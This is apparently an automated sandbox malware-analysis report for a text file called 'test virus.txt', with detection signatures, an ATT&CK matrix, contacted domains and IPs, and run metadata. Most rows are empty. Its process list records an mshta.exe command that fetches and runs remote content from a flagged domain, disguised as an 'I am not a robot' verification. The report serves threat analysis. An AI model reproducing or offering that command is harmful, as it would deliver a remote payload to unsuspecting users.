Edit tour
Windows
Analysis Report
test virus.txt
Overview
General Information
| Sample name: | test virus.txt |
| Analysis ID: | 1641583 |
| MD5: | 53728af8cca344e2f36f7aebf5b54a8d |
| SHA1: | 0a83782d076ce6e53e8f671ab76d96ff0e88d7cc |
| SHA256: | 6b54955c68125845dc4d960d519530a54654215c75878492748df17e947f5f51 |
| Infos: | |
 | |
Detection
| Score: | 48 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
Classification
- System is w10x64_ra
notepad.exe (PID: 6384 cmdline: "C:\Window s\system32 \NOTEPAD.E XE" C:\Use rs\user\De sktop\test virus.txt MD5: 27F71B12CB585541885A31BE22F61C83)
mshta.exe (PID: 2316 cmdline: "C:\Window s\system32 \mshta.exe " https:// check.inea 3.icu/gkcx v.google?i =71125f54- 1538-4a8f- 92b8-28467 4382331 # ''I am not a robot - ??????? V erificatio n ID:69681 4'' MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)
- cleanup
⊘No configs have been found
⊘No yara matches
⊘No Sigma rule has matched
⊘No Suricata rule has matched
- • AV Detection
- • Compliance
- • Networking
- • System Summary
- • Malware Analysis System Evasion
- • Anti Debugging
- • Language, Device and Operating System Detection
Click to jump to signature section
Show All Signature Results
AV Detection |   |
|---|
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | JA3 fingerprint: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Classification label: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Key value queried: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Window detected: | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Memory allocated: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | Windows Management Instrumentation | 1 DLL Side-Loading | 1 Process Injection | 1 Masquerading | OS Credential Dumping | 1 Security Software Discovery | Remote Services | 1 Email Collection | 1 Encrypted Channel | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
| Credentials | Domains | Default Accounts | Scheduled Task/Job | Boot or Logon Initialization Scripts | 1 DLL Side-Loading | 1 Disable or Modify Tools | LSASS Memory | 1 Application Window Discovery | Remote Desktop Protocol | Data from Removable Media | 3 Non-Application Layer Protocol | Exfiltration Over Bluetooth | Network Denial of Service |
| Email Addresses | DNS Server | Domain Accounts | At | Logon Script (Windows) | Logon Script (Windows) | 1 Process Injection | Security Account Manager | 12 System Information Discovery | SMB/Windows Admin Shares | Data from Network Shared Drive | 14 Application Layer Protocol | Automated Exfiltration | Data Encrypted for Impact |
| Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | Login Hook | 1 DLL Side-Loading | NTDS | System Network Configuration Discovery | Distributed Component Object Model | Input Capture | 3 Ingress Tool Transfer | Traffic Duplication | Data Destruction |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 100% | Avira URL Cloud | malware | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 100% | Avira URL Cloud | malware | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe |
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| kit.fontawesome.com.cdn.cloudflare.net | 104.18.40.68 | true | false | high | |
| oamp.od.nih.gov | 137.187.172.126 | true | false | unknown | |
| maxcdn.bootstrapcdn.com | 104.18.11.207 | true | false | high | |
| check.inea3.icu | 188.114.97.3 | true | false | unknown | |
| kit.fontawesome.com | unknown | unknown | false | high |
| Name | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|
| false | high | ||
| false | high | ||
| false | high | ||
| false | high | ||
| false | high | ||
| false | high | ||
| false | high | ||
| false | high | ||
| false | high | ||
| false | high | ||
| false | high | ||
| false |
| unknown | |
| false | high | ||
| false | high | ||
| false | high | ||
| false | high |
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 104.18.11.207 | maxcdn.bootstrapcdn.com | United States | 13335 | CLOUDFLARENETUS | false | |
| 188.114.97.3 | check.inea3.icu | European Union | 13335 | CLOUDFLARENETUS | false | |
| 104.18.40.68 | kit.fontawesome.com.cdn.cloudflare.net | United States | 13335 | CLOUDFLARENETUS | false | |
| 137.187.172.126 | oamp.od.nih.gov | United States | 3527 | NIH-NETUS | false |
| Joe Sandbox version: | 42.0.0 Malachite |
| Analysis ID: | 1641583 |
| Start date and time: | 2025-03-18 11:06:47 +01:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 5m 13s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | defaultwindowsinteractivecookbook.jbs |
| Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
| Number of analysed new started processes analysed: | 11 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Sample name: | test virus.txt |
| Detection: | MAL |
| Classification: | mal48.winTXT@2/31@4/4 |
| EGA Information: | Failed |
| HCA Information: |
|
| Cookbook Comments: |
|
- Exclude process from analysis
